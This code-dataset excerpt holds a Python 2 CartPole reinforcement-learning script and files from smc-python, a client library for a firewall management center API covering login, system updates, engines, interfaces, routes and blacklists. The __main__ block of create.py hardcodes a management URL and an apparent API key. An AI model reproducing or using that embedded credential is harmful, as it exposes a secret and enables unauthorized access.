network['b1'])\r\n f = softmax(np.dot(network['W2'], g) + network['b2'])\r\n return g, f\r\n\r\ndef policy_backward(network, history, reg):\r\n dW2 = np.dot(history['ep_dlogp'], history['ep_g'].T)\r\n db2 = np.sum(history['ep_dlogp'], axis=1, keepdims=True)\r\n\r\n dg = np.dot(network['W2'].T, history['ep_dlogp'])\r\n dg[history['ep_g'] <= 0] = 0\r\n\r\n dW1 = np.dot(dg, history['ep_X'].T)\r\n db1 = np.sum(dg, axis=1, keepdims=True)\r\n\r\n # Reg\r\n dW1 += reg * network['W1']\r\n dW2 += reg * network['W2']\r\n\r\n return {'W1': dW1, 'b1': db1.flatten(), 'W2': dW2, 'b2': db2.flatten()}\r\n\r\ndef discount_rewards(r, gamma):\r\n discounted_r = np.zeros_like(r)\r\n running_add = np.sum(r)\r\n for t in range(0, r.shape[1]):\r\n running_add = running_add * gamma\r\n discounted_r[0, t] = running_add\r\n discounted_r -= np.percentile(discounted_r, 70)\r\n discounted_r /= np.std(discounted_r)\r\n return discounted_r\r\n\r\nenv = gym.make('CartPole-v0')\r\nobservation = env.reset()\r\n\r\nlearning_rate = 1e-5\r\ndecay_rate = 0.99\r\nreg = 1e-3\r\ngamma = 0.99\r\ninput_space = 4\r\nheight = 70\r\nactions = 2\r\n\r\nnetwork = {\r\n 'W1': np.random.randn(height, input_space) / np.sqrt(input_space),\r\n 'b1': np.zeros(height),\r\n 'W2': np.random.randn(actions, height) / np.sqrt(height),\r\n 'b2': np.zeros(actions)}\r\ngrad_buffer = {k: np.zeros_like(v) for k, v in network.items()} # update buffers that add up gradients over a batch\r\nrmsprop_cache = {k: np.zeros_like(v) for k, v in network.items()}\r\n\r\nrunning_reward = None\r\nepisode = 0\r\nbest_score = None\r\n\r\nhistory = {\r\n 'ep_X': [],\r\n 'ep_f': [],\r\n 'ep_g': [],\r\n 'ep_dlogp': [],\r\n 'ep_r': []}\r\n\r\nwhile episode < 1000000:\r\n\r\n # if episode % 120 == 0:\r\n # env.render()\r\n\r\n history['ep_X'].append(observation)\r\n g, f = policy_forward(network, observation)\r\n history['ep_g'].append(g)\r\n history['ep_f'].append(f)\r\n\r\n action = 0 if f[0] > f[1] else 1\r\n f[action] -= 1\r\n history['ep_dlogp'].append(f)\r\n\r\n observation, reward, done, info = env.step(action)\r\n\r\n history['ep_r'].append(reward)\r\n\r\n if done:\r\n episode += 1\r\n env.render()\r\n sum_reward = np.sum(history['ep_r'])\r\n if best_score is None:\r\n best_score = sum_reward\r\n elif sum_reward > best_score:\r\n best_score = sum_reward\r\n running_reward = sum_reward if running_reward is None else running_reward * 0.99 + sum_reward * 0.01\r\n if episode % 100 == 0:\r\n print(\"episode {:4.0f} complete - average reward = {:3.0f}, best score is = {:3.0f}\".format(episode, running_reward, best_score))\r\n\r\n # Arrays to matrices\r\n history['ep_X'] = np.column_stack(history['ep_X'])\r\n history['ep_f'] = np.column_stack(history['ep_f'])\r\n history['ep_g'] = np.column_stack(history['ep_g'])\r\n history['ep_dlogp'] = np.column_stack(history['ep_dlogp'])\r\n history['ep_r'] = np.column_stack(history['ep_r'])\r\n\r\n # Adjust rewards\r\n history['ep_r'] = discount_rewards(history['ep_r'], gamma)\r\n history['ep_dlogp'] /= history['ep_r'].shape[1]\r\n history['ep_dlogp'] *= history['ep_r']\r\n\r\n grad = policy_backward(network, history, reg)\r\n for k in network: grad_buffer[k] += grad[k]\r\n # update step\r\n for k, v in network.items():\r\n rmsprop_cache[k] = decay_rate * rmsprop_cache[k] + (1 - decay_rate) * grad_buffer[k] ** 2\r\n network[k] -= learning_rate * grad[k] / (np.sqrt(rmsprop_cache[k]) + 1e-5)\r\n grad_buffer[k] = np.zeros_like(v)\r\n\r\n env.reset()\r\n history = {\r\n 'ep_X': [],\r\n 'ep_f': [],\r\n 'ep_g': [],\r\n 'ep_dlogp': [],\r\n 'ep_r': []}" }, { "alpha_fraction": 0.587141752243042, "alphanum_fraction": 0.6134779453277588, "avg_line_length": 24.85416603088379, "blob_id": "99960baca778495e2f04d6c4ed774d7bf11c50ca", "content_id": "fe0acd2899b95dc22778453c59bca8817bfd1209", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1291, "license_type": "no_license", "max_line_length": 104, "num_lines": 48, "path": "/original/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\r\nimport numpy as np\r\nfrom Agent import Agent\r\n\r\nfrom History import History\r\n\r\nenv = gym.make('CartPole-v0')\r\n\r\nseed = 50\r\nlearning_rate = 1e-4\r\ninput_space = 4\r\nheight = 160\r\nnp.random.seed(seed)\r\nenv.seed(seed)\r\n\r\nagent = Agent(height, input_space, learning_rate)\r\n\r\nrunning_reward = None\r\nepisode = 0\r\nbest_score = None\r\n\r\nwhile True:\r\n history = History()\r\n observation = env.reset()\r\n episode += 1\r\n sum_reward = 0\r\n done = False\r\n # Run game\r\n while not done:\r\n if episode % 100 == 0:\r\n env.render()\r\n prev_observation = observation\r\n action, f = agent.determine_action(observation)\r\n observation, reward, done, info = env.step(action)\r\n history.append(prev_observation, f[0][0], action, reward)\r\n sum_reward += reward\r\n\r\n history.compile()\r\n agent.update_weights(history)\r\n\r\n if best_score is None:\r\n best_score = sum_reward\r\n elif sum_reward > best_score:\r\n best_score = sum_reward\r\n running_reward = sum_reward if running_reward is None else running_reward * 0.99 + sum_reward * 0.01\r\n if episode % 100 == 0:\r\n print \"episode {:4.0f} complete - average reward = {:3.0f}, best score is = {:3.0f}\"\\\r\n .format(episode, running_reward, best_score)\r\n\r\n" } ]
42
artlog/smc-python
https://github.com/artlog/smc-python
b14de9b49d59c316a93ac1cc9b53596c2bed2342
741e4811ef5aeca270116b03c028fbee656cdebb
9e2c5dce86502ed838da635419d7a7b1488cee58
refs/heads/master
2020-02-25T11:57:26.300912
2016-09-07T16:49:34
2016-09-07T16:49:34
62,736,579
0
0
null
2016-07-06T16:29:01
2016-05-06T03:53:19
2016-07-06T04:24:05
null
[ { "alpha_fraction": 0.5208333134651184, "alphanum_fraction": 0.5208333134651184, "avg_line_length": 48, "blob_id": "15fb331fe598fe83d6419ed0a46221949dbbc74c", "content_id": "266205fef10ab826fb6ec2d260ec0b226e03d31e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 48, "license_type": "no_license", "max_line_length": 48, "num_lines": 1, "path": "/smc/actions/__init__.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "__all__ = ['create', 'remove', 'search', 'show']" }, { "alpha_fraction": 0.5479037165641785, "alphanum_fraction": 0.5526860952377319, "avg_line_length": 37.7283935546875, "blob_id": "9a680432c3b5bc1c886c868cc34bd5050217879e", "content_id": "716d4cc99663f37c0d5c08be22eb8cfb3928b4f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6273, "license_type": "no_license", "max_line_length": 86, "num_lines": 162, "path": "/smc/api/session.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "'''\nCreated on Aug 14, 2016\n\n@author: davidlepage\n'''\nimport json\nimport requests\nimport logging\nfrom smc.api.web import SMCAPIConnection\nfrom smc.api.exceptions import SMCConnectionError, ConfigLoadError\nfrom smc.api.configloader import load_from_file\n\nlogger = logging.getLogger(__name__)\n\nclass Session(object):\n def __init__(self):\n self.url = None\n self.api_key = None\n self.session = None\n self.cookies = None\n self.api_version = None\n self.cache = None #SessionCache\n self.connection = None #SMCAPIConnection\n \n def login(self, **kwargs):\n \"\"\"\n Login to SMC API and retrieve a valid session.\n Session will be re-used when multiple queries are required.\n \n An example login and logout session::\n \n from smc.qpi.session import session \n session.login(url='http://1.1.1.1:8082', api_key='SomeSMCG3ener@t3dPwd')\n .....do stuff.....\n session.logout()\n \n :param url: ip of SMC management server\n :param api_key: API key created for api client in SMC\n :param api_version (optional): specify api version\n\n Logout should be called to remove the session immediately from the\n SMC server.\n #TODO: Implement SSL tracking\n \"\"\"\n if kwargs:\n for key, value in kwargs.items():\n setattr(self, key, value)\n else:\n try:\n self.login(**load_from_file())\n except ConfigLoadError:\n raise\n \n self.cache = SessionCache()\n self.cache.get_api_entry(self.url, self.api_version)\n self.api_version = self.cache.api_version\n\n s = requests.session() #no session yet\n r = s.post(self.cache.get_entry_href('login'),\n json={'authenticationkey': self.api_key},\n headers={'content-type': 'application/json'}\n )\n if r.status_code == 200:\n self.session = s #session creation was successful\n self.cookies = self.session.cookies.items()\n logger.debug(\"Login succeeded and session retrieved: %s\", \\\n self.cookies)\n self.connection = SMCAPIConnection(self)\n\n else:\n raise SMCConnectionError(\"Login failed, HTTP status code: %s\" \\\n % r.status_code)\n def logout(self):\n \"\"\" Logout session from SMC \"\"\"\n if self.session:\n r = self.session.put(self.cache.get_entry_href('logout'))\n if r.status_code == 204:\n logger.info(\"Logged out successfully\")\n else:\n if r.status_code == 401:\n logger.error(\"Logout failed, session has already expired, \"\n \"status code: %s\", (r.status_code))\n else:\n logger.error(\"Logout failed, status code: %s\", r.status_code)\n \n def refresh(self):\n \"\"\"\n Refresh SMC session if it timed out. This may be the case if the CLI\n is being used and the user was idle. SMC has a time out value for API\n client sessions (configurable). Refresh will use the previously saved url\n and apikey and get a new session and refresh the api_entry cache\n \"\"\"\n if self.session is not None: #user has logged in previously\n logger.info(\"Session refresh called, previous session has expired\")\n self.login(url=self.url, \n api_key=self.api_key, \n api_version=self.api_version)\n else: #TODO: Throw exception here\n logger.error(\"No previous SMC session found. \"\n \"This may require a new login attempt\")\n\nclass SessionCache(object):\n def __init__(self):\n self.api_entry = None\n self.api_version = None\n \n def get_api_entry(self, url, api_version=None, timeout=10):\n \"\"\"\n Called internally after login to get cache of SMC entry points\n :param: url for SMC api\n :param api_version: if specified, use this version\n \"\"\"\n try:\n if api_version is None:\n r = requests.get('%s/api' % url, timeout=timeout) #no session required\n j = json.loads(r.text)\n versions = []\n for version in j['version']:\n versions.append(version['rel'])\n versions = [float(i) for i in versions]\n api_version = max(versions)\n\n #else api_version was defined\n logger.info(\"Using SMC API version: %s\", api_version)\n smc_url = url + '/' + str(api_version)\n\n r = requests.get('%s/api' % (smc_url), timeout=timeout)\n if r.status_code==200:\n j = json.loads(r.text)\n self.api_version = api_version\n logger.debug(\"Successfully retrieved API entry points from SMC\")\n else:\n raise SMCConnectionError(\"Error occurred during initial api \"\n \"request, json was not returned. \"\n \"Return data was: %s\" % r.text)\n self.api_entry = j['entry_point']\n\n except requests.exceptions.RequestException, e:\n raise SMCConnectionError(e)\n\n def get_entry_href(self, verb):\n \"\"\"\n Get entry point from entry point cache\n Call get_all_entry_points to find all available entry points\n :param verb: top level entry point into SMC api\n :return dict of entry point specified\n :raises Exception if no entry points are found.\n That would mean no login has occurred\n \"\"\"\n if self.api_entry:\n for entry in self.api_entry:\n if entry.get('rel') == verb:\n return entry.get('href', None)\n else:\n raise SMCConnectionError(\"No entry points found, it is likely \"\n \"there is no valid login session.\")\n\n def get_all_entry_points(self):\n \"\"\" Returns all entry points into SMC api \"\"\"\n return self.api_entry\n\nsession = Session()" }, { "alpha_fraction": 0.5536978244781494, "alphanum_fraction": 0.5559093952178955, "avg_line_length": 35.94444274902344, "blob_id": "69c46a0a68f529952293a7ca9425d1c4c63e8858", "content_id": "db174b5d3716e6156d2b4163759a28ca7a3d8557", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11304, "license_type": "no_license", "max_line_length": 89, "num_lines": 306, "path": "/smc/elements/system.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "import smc.actions.search as search\nfrom smc.elements.helpers import find_link_by_name\nfrom smc.elements.element import SMCElement, Blacklist\nimport smc.api.common as common_api\nfrom smc.api.exceptions import SMCException\n\nclass System(object):\n \"\"\"\n System level operations such as SMC version, time, update packages, \n and updating engines\n \n :ivar smc_version: version of SMC\n :ivar smc_time: SMC time\n :ivar last_activated_package: latest update package installed\n :ivar empty_trash_bin: empty trash on SMC\n \"\"\"\n def __init__(self):\n self.link = []\n \n def load(self):\n system = search.element_by_href_as_json(\n search.element_entry_point('system'))\n if system:\n self.link.extend(system.get('link'))\n return self\n else:\n raise SMCException(\"Exception retrieving system settings\")\n \n @property \n def smc_version(self):\n \"\"\" Return the SMC version \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('smc_version', self.link)).get('value')\n \n @property\n def smc_time(self):\n \"\"\" Return the SMC time \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('smc_time', self.link)).get('value')\n \n @property\n def last_activated_package(self):\n \"\"\" Return the last activated package by id \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('last_activated_package', self.link)).get('value')\n \n @property \n def empty_trash_bin(self):\n \"\"\" Empty system level trash bin \"\"\"\n return common_api.delete(find_link_by_name('empty_trash_bin', self.link))\n \n #@property\n def update_package(self):\n \"\"\" Show all update packages on SMC \n :return: dict of href,name,type\n \"\"\"\n updates=[]\n for update in search.element_by_href_as_json(\n find_link_by_name('update_package', self.link)):\n updates.append(UpdatePackage(**update))\n return updates\n \n def update_package_import(self):\n pass\n \n def engine_upgrade(self, engine_version=None):\n \"\"\" List all engine upgrade packages available \n \n Call this function without parameters to see available engine\n versions. Once you have found the engine version to upgrade, use\n the engine_version=href to obtain the guid. Obtain the download\n link and POST to download using \n engine_upgrade_download(download_link) to download the update.\n \n :param engine_version: Version of engine to retrieve\n :return: dict of settings\n \"\"\"\n upgrades=[]\n for upgrade in search.element_by_href_as_json(\n find_link_by_name('engine_upgrade', self.link)):\n upgrades.append(EngineUpgrade(**upgrade))\n return upgrades\n \n def uncommitted(self):\n pass\n \n def system_properties(self):\n \"\"\" List of all properties applied to the SMC \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('system_properties', self.link))\n \n def clean_invalid_filters(self):\n pass\n \n def blacklist(self, src, dst, duration=3600):\n \"\"\" Add blacklist to all defined engines\n Use the cidr netmask at the end of src and dst, such as:\n 1.1.1.1/32, etc.\n \n :param src: source of the entry\n :param dst: destination of blacklist entry\n :return: SMCResult, href if success, msg if error\n \"\"\"\n element = Blacklist(src, dst, duration)\n element.href = find_link_by_name('blacklist', self.link)\n return element.create()\n \n def licenses(self):\n \"\"\" List of all engine related licenses\n This will provide details related to whether the license is bound,\n granted date, expiration date, etc.\n \n :return: list of dictionary items specific to all engine licenses\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('licenses', self.link))\n \n def license_fetch(self):\n return search.element_by_href_as_json(\n find_link_by_name('license_fetch', self.link))\n \n def license_install(self):\n print \"PUT license install\"\n \n def license_details(self):\n \"\"\"\n This represents the license details for the SMC. This will include information\n with regards to the POL/POS, features, type, etc\n \n :return: dictionary of key/values\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('license_details', self.link))\n \n def license_check_for_new(self):\n \"\"\" Check for new SMC license \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('license_check_for_new', self.link))\n \n def delete_license(self):\n print \"PUT delete license\"\n \n def visible_virtual_engine_mapping(self):\n \"\"\" Return list of dictionary mappings for master engines and virtual engines \n :return: list of dict items related to master engines and virtual engine mappings\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('visible_virtual_engine_mapping', self.link))\n \n #TODO: doesnt return anything \n def references_by_element(self):\n return search.element_by_href_as_json(\n find_link_by_name('references_by_element', self.link))\n \n def export_elements(self, type_of=None, filename='export_elements.zip'):\n \"\"\"\n Export elements from SMC.\n \n Valid types are: \n all (All Elements)|nw (Network Elements)|ips (IPS Elements)|\n sv (Services)|rb (Security Policies)|al (Alerts)|\n vpn (VPN Elements)\n \n :param type: type of element\n :param filename: Name of file for export\n \"\"\"\n params = {'recursive': True,\n 'type': type_of}\n element = SMCElement(href=find_link_by_name('export_elements', self.link),\n params=params).create()\n if not element.msg:\n href = next(common_api.async_handler(element.json.get('follower'), \n display_msg=False)) \n else:\n return element\n \n return common_api.fetch_content_as_file(href, filename)\n \n def import_elements(self):\n print \"POST import elements\"\n\n\nclass EngineUpgrade(object):\n \"\"\"\n Engine Upgrade package management\n \n For example, to check engine upgrades and find a specific\n one, then download for installation::\n \n for upgrade in system.engine_upgrade():\n print \"Available upgrade: {}\".format(upgrade)\n if upgrade.name == \n 'Security Engine upgrade 6.0.1 build 16019 for x86-64':\n for msg in upgrade.download():\n print msg\n \"\"\" \n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def download(self, wait_for_finish=True):\n \"\"\"\n Download Engine Upgrade\n \n :method: POST\n :param boolean wait_for_finish: wait for download to complete\n :return: Generator messages or final href of follower resource\n \"\"\" \n pkg = self.package_info()\n download_link = find_link_by_name('download', pkg.get('link'))\n if download_link:\n result = SMCElement(\n href=download_link).create()\n return common_api.async_handler(result.json.get('follower'), \n wait_for_finish)\n else:\n return ['Package cannot be downloaded, package state: {}'.format(\\\n self.state)]\n \n def package_info(self):\n return search.element_by_href_as_json(self.href)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, \"name={},type={}\".format(\n self.name, self.type)) \n\n\nclass UpdatePackage(object):\n \"\"\"\n Container for managing update packages on SMC\n \n \n Example of checking for new Update Packages, picking a specific\n package, and waiting for activation::\n \n Download and activate a package::\n \n system = smc.elements.system.System().load()\n print system.last_activated_package\n \n for package in system.update_package():\n if package.name == 'Update Package 788':\n pprint(package.package_info())\n for msg in package.download():\n print msg\n package.activate()\n \n :ivar state: state of the package \n \"\"\"\n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n def download(self, wait_for_finish=True):\n \"\"\" \n Download the available package\n \n :method: POST\n :param boolean wait_for_finish: whether to wait for completion\n :return: Generator messages or final href of follower resource\n \"\"\"\n pkg = self.package_info()\n download_link = find_link_by_name('download', pkg.get('link'))\n if download_link:\n result = SMCElement(\n href=download_link).create()\n return common_api.async_handler(result.json.get('follower'), \n wait_for_finish)\n else:\n return ['Download not possible, package state: {}'.format(\n self.state)]\n \n def activate(self, wait_for_finish=True):\n \"\"\"\n Activate this package on the SMC\n \n :param boolean wait_for_finish: True|False, whether to wait \n for update messages\n :return: Update messages or final URI for follower link\n \"\"\"\n pkg = self.package_info()\n activate_link = find_link_by_name('activate', pkg.get('link'))\n print \"Activate link: %s\" % activate_link\n if activate_link:\n result = SMCElement(href=activate_link).create()\n return common_api.async_handler(result.json.get('follower'), \n wait_for_finish)\n else:\n return ['Activate not possible, package state is: {}'.format(\\\n self.state)]\n \n def package_info(self):\n \"\"\"\n Retrieve json view of package info\n :return: package info in json format\n \"\"\"\n return search.element_by_href_as_json(self.href)\n \n @property\n def state(self):\n pkg = self.package_info()\n return pkg.get('state')\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, \"name={},type={}\".format(\n self.name, self.type))" }, { "alpha_fraction": 0.618720293045044, "alphanum_fraction": 0.6368039846420288, "avg_line_length": 38.269927978515625, "blob_id": "0c70c6759525959f9d14c52f0ea4730d032751bc", "content_id": "a7732fdd2df989167492e6ae8f86aafe67dc57f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21677, "license_type": "no_license", "max_line_length": 134, "num_lines": 552, "path": "/smc/actions/create.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\" \nShortcut API to access common operations done by the SMC python API. \n\nEach function defined is specifically for creating certain object types, engines,\ninterfaces, routes, policies, etc.\n\nInput validation is done to ensure the correct fields are provided and that \nthey are the right type. In addition, in some cases \nother objects will need to be retrieved as a reference to create another object. \nIf these references are not resolvable, the create operation can fail. This will do the up\nfront validation and interact with the SMC operations.\n\nAll create functions will return the HREF of the newly created object or NONE if there was a failure.\nIn order to view error messages, do the following in your calling script::\n\n import logging\n logging.getLogger()\n logging.basicConfig(level=logging.ERROR, format='%(asctime)s %(levelname)s: %(message)s')\n \n\"\"\"\n\nimport logging\nimport smc.elements.element\nimport smc.actions.search\nfrom smc.elements.element import logical_intf_helper, \\\n TCPService, EthernetService, ICMPService, ICMPIPv6Service, ServiceGroup,\\\n TCPServiceGroup, UDPServiceGroup, UDPService, IPServiceGroup, IPService, Host, \\\n AdminUser, zone_helper, SMCElement\nimport smc.api.web\nfrom smc.elements.engines import Node, Layer3Firewall, Layer2Firewall, IPS, Layer3VirtualEngine, FirewallCluster,\\\n MasterEngine, AWSLayer3Firewall, Engine, VirtualResource\n \nfrom smc.api.web import SMCResult\nfrom smc.api.exceptions import SMCException\nfrom smc.elements.interfaces import VlanInterface, PhysicalInterface, TunnelInterface, NodeInterface,\\\n SingleNodeInterface\nfrom smc.elements.vpn import VPNPolicy, ExternalGateway, ExternalEndpoint, VPNProfile\nfrom smc.elements.collections import describe_fw_policies,\\\n describe_address_ranges, describe_vpn_profiles, describe_networks,\\\n describe_hosts, describe_external_gateways, describe_virtual_fws\n\n\nlogger = logging.getLogger(__name__)\n\ndef host(name, ipaddress, secondary_ip=[], comment=None):\n \"\"\" Create host object\n \n :param name: name, must be unique\n :param ipaddress: ip address of host\n :param secondary_ip[] (optional): additional IP for host\n :param comment (optional)\n :return: href upon success otherwise None\n \"\"\" \n return smc.elements.element.Host(name, ipaddress, \n secondary_ip=secondary_ip, \n comment=comment).create()\n\ndef iprange(name, addr_range, comment=None):\n \"\"\" Create iprange object\n\n :param name: name for object\n :param addr_range: ip address range, i.e. 1.1.1.1-1.1.1.10\n :param comment (optional)\n :return: href upon success otherwise None\n \"\"\" \n addr = addr_range.split('-') #just verify each side is valid ip addr\n if len(addr) == 2: #has two parts\n return smc.elements.element.AddressRange(name, addr_range,\n comment=comment).create() \n \ndef router(name, ipaddress, secondary_ip=None, comment=None):\n \"\"\" Create router element\n\n :param name: name for object\n :param ipaddress: ipv4 address\n :param comment (optional)\n :return: href upon success otherwise None\n \"\"\" \n return smc.elements.element.Router(name, ipaddress,\n secondary_ip=secondary_ip,\n comment=comment).create()\n\ndef network(name, ip_network, comment=None):\n \"\"\" Create network element\n \n :param name: name for object\n :param ip_network: ipv4 address in cidr or full netmask format (1.1.1.1/24, or 1.1.1.0/255.255.0.0)\n :param comment (optional)\n :return: href upon success, or None\n \"\"\"\n return smc.elements.element.Network(name, ip_network,\n comment=comment).create()\n\ndef group(name, members=[], comment=None):\n \"\"\" Create group element, optionally with members\n Members must already exist in SMC. Before being added to the group a search will be \n performed for each member specified.\n blah\n \n :param name: name for object\n :param members: list; i.e. ['element1', 'element2', etc]. Most elements can be used in a group\n :param comment: (optional)\n :return: href: upon success, or None\n \"\"\"\n grp_members = []\n if members:\n for m in members: #add each member\n found_member = smc.actions.search.element_href(m)\n if found_member:\n logger.debug(\"Found member: %s, adding to group\" % m)\n grp_members.append(found_member)\n continue\n else:\n logger.info(\"Element: %s could not be found, not adding to group\" % m) \n \n return smc.elements.element.Group(name,\n members=grp_members,\n comment=comment).create()\n\n''' \ndef service(name, min_dst_port, proto, comment=None):\n \"\"\" Create a service element in SMC \n \n :param name: name of element\n :param min_dst_port: port to use\n :param proto: protocol, i.e. tcp, udp, icmp\n :param comment: custom comment\n :return: href upon success otherwise None\n \"\"\" \n entry_href = smc.search.element_entry_point(proto)\n if entry_href:\n try:\n int(min_dst_port)\n except ValueError:\n logger.error(\"Min Dst Port was not integer: %s\" % min_dst_port)\n return \n \n return smc.elements.element.Service(name, min_dst_port,\n proto=proto, \n comment=comment).create()\n''' \ndef single_fw(name, mgmt_ip, mgmt_network, mgmt_interface='0', dns=None, fw_license=False):\n \"\"\" Create single firewall with a single management interface\n \n :param name: name of single layer 2 fw\n :param mgmt_ip: ip address for management layer 3 interface\n :param mgmt_network: netmask for management network\n :param mgmt_interface: interface id for l3 mgmt\n :param dns: dns servers for management interface (optional)\n :param fw_license: attempt license after creation (optional)\n :return: href upon success otherwise None\n \"\"\"\n result = Layer3Firewall.create(name, mgmt_ip, mgmt_network, \n mgmt_interface=mgmt_interface,\n domain_server_address=dns)\n return result \n \ndef single_layer2(name, mgmt_ip, mgmt_network, mgmt_interface='0', inline_interface='1-2', \n logical_interface='default_eth', dns=None, fw_license=False): \n \"\"\" Create single layer 2 firewall \n Layer 2 firewall will have a layer 3 management interface and initially needs atleast \n one inline or capture interface.\n \n :param name: name of single layer 2 fw\n :param mgmt_ip: ip address for management layer 3 interface\n :param mgmt_network: netmask for management network\n :param mgmt_interface: interface id for l3 mgmt\n :param inline_interface: int specifying interface id's to be used for inline interfaces (default: [1-2])\n :param logical_interface: name of logical interface, must be unique if using capture and inline interfaces\n :param dns: dns servers for management interface (optional)\n :param fw_license: attempt license after creation (optional)\n :return: href upon success otherwise None\n \"\"\" \n result = Layer2Firewall.create(name, mgmt_ip, mgmt_network, \n mgmt_interface=mgmt_interface,\n inline_interface=inline_interface,\n logical_interface=logical_intf_helper(logical_interface),\n domain_server_address=dns)\n return result \n\ndef single_ips(name, mgmt_ip, mgmt_network, mgmt_interface='0', inline_interface='1-2', \n logical_interface='default_eth', dns=None, fw_license=False):\n \"\"\" Create single IPS \n :param name: name of single layer 2 fw\n :param mgmt_ip: ip address for management layer 3 interface\n :param mgmt_network: netmask for management network\n :param mgmt_interface: interface id for l3 mgmt\n :param inline_interface: int specifying interface id's to be used for inline interfaces (default: [1-2])\n :param logical_interface: name of logical interface, must be unique if using capture and inline interfaces\n :param dns: dns servers for management interface (optional)\n :param fw_license: attempt license after creation (optional)\n :return: href upon success otherwise None\n \"\"\" \n result = IPS.create(name, mgmt_ip, mgmt_network, \n mgmt_interface=mgmt_interface,\n inline_interface=inline_interface,\n logical_interface=logical_intf_helper(logical_interface),\n domain_server_address=dns)\n return result\n \ndef l3interface(name, ipaddress, ip_network, interfaceid):\n \"\"\" Add L3 interface for single FW\n \n :param l3fw: name of firewall to add interface to\n :param ip: ip of interface\n :param network: network for ip\n :param interface_id: interface_id to use\n :return: href upon success otherwise None\n \"\"\" \n try:\n engine = Engine(name).load()\n physical = PhysicalInterface(interfaceid)\n physical.add_single_node_interface(ipaddress, ip_network)\n result = engine.add_physical_interfaces(physical.data)\n \n return result\n \n except SMCException, e:\n print \"Error occurred during modification of %s, message: %s\" % (name, e) #tmp \n \n \ndef l2interface(name, interface_id, logical_interface_ref='default_eth', zone=None):\n \"\"\" Add layer 2 inline interface \n Inline interfaces require two physical interfaces for the bridge and a logical \n interface to be assigned. By default, interface 1,2 will be used if interface_id is \n not specified. \n The logical interface is used by SMC for policy to logically group both interfaces\n It is not possible to have inline and capture interfaces on the same node with the\n same logical interface definition. Automatically create logical interface if it does\n not already exist.\n \n :param node: node name to add inline interface pair\n :param interface_id [], int values of interfaces to use for inline pair (default: 1,2)\n :param logical_int: logical interface name to map to inline pair (default: 'default_eth')\n :return: href upon success otherwise None\n \"\"\" \n try:\n engine = Engine(name).load()\n \n physical = PhysicalInterface(interface_id)\n physical.add_inline_interface(logical_intf_helper(logical_interface_ref))\n \n result = engine.add_physical_interfaces(physical.data)\n \n return result\n \n except SMCException, e:\n print \"Error occurred during modification of %s, message: %s\" % (name, e) #tmp \n else:\n logger.error(\"Cannot find node specified to add layer 2 inline interface: %s\" % name)\n\ndef capture_interface(name, interface_id, logical_interface_ref='default_eth', zone=None):\n try:\n engine = Node(name).load()\n \n physical = PhysicalInterface(interface_id)\n physical.add_capture_interface(logical_intf_helper(logical_interface_ref), \n zone_ref=zone)\n result = engine.add_physical_interfaces(physical.data)\n \n return result\n \n except SMCException, e:\n print \"Error occurred during modification of %s, message: %s\" % (name, e) #tmp \n else:\n logger.error(\"Cannot find node specified to add capture interface: %s\" % name)\n\ndef l3route(name, gateway, ip_network): \n \"\"\" Add route to l3fw \n This could be added to any engine type. Non-routable engine roles (L2/IPS) may\n still require route/s defined on the L3 management interface \n \n :param l3fw: name of firewall to add route\n :param gw: next hop router object\n :param ip_network: next hop network behind gw\n :return: href upon success otherwise None\n \"\"\"\n try:\n engine = Node(name).load()\n return engine.add_route(gateway, ip_network)\n\n except SMCException, e:\n logger.error(\"Exception adding route: %s\" % (name, e)) \n \ndef blacklist(name, src, dst, duration=3600):\n \"\"\" Add blacklist entry to engine node by name\n \n :param name: name of engine node or cluster\n :param src: source to blacklist, can be /32 or network cidr\n :param dst: dest to deny to, 0.0.0.0/32 indicates all destinations\n :param duration: how long to blacklist in seconds\n :return: href, or None\n \"\"\"\n try:\n engine = Node(name).load()\n return engine.blacklist(src, dst, duration)\n \n except SMCException, e:\n logger.error(\"Exception during blacklist: %s\" % e)\n\ndef blacklist_flush(name):\n \"\"\" Flush entire blacklist for node name\n \n :param name: name of node or cluster to remove blacklist\n :return: None, or message if failure\n \"\"\"\n try:\n engine = Node(name).load()\n print engine.blacklist_flush()\n \n except SMCException, e:\n logger.error(\"Exception during blacklist: %s\" % e)\n \ndef bind_license(name):\n engine = Node(name).load()\n return engine.bind_license()\n \ndef unbind_license(name):\n engine = Node(name).load()\n return engine.unbind_license()\n \ndef cluster_fw(data):\n pass\n\ndef cluster_ips(data):\n pass\n\ndef master_engine(data):\n pass\n\ndef virtual_ips(data):\n pass\n \ndef virtual_fw(data):\n pass\n\ndef menu(list, question):\n while True:\n print question\n for entry in list:\n print(1 + list.index(entry)),\n print(\") \" + entry.name)\n \n try:\n return list[input()-1]\n except IndexError:\n print \"Invalid choice. Try again.\"\n \nif __name__ == '__main__':\n #smc.api.web.session.login('http://172.18.1.150:8082', 'EiGpKD4QxlLJ25dbBEp20001', timeout=60)\n \n logging.getLogger()\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(name)s.%(funcName)s: %(message)s')\n \n from smc.api.session import session\n session.login(url='http://172.18.1.150:8082', api_key='EiGpKD4QxlLJ25dbBEp20001', timeout=60)\n import smc.elements.collections as collections\n import smc.actions.remove\n from pprint import 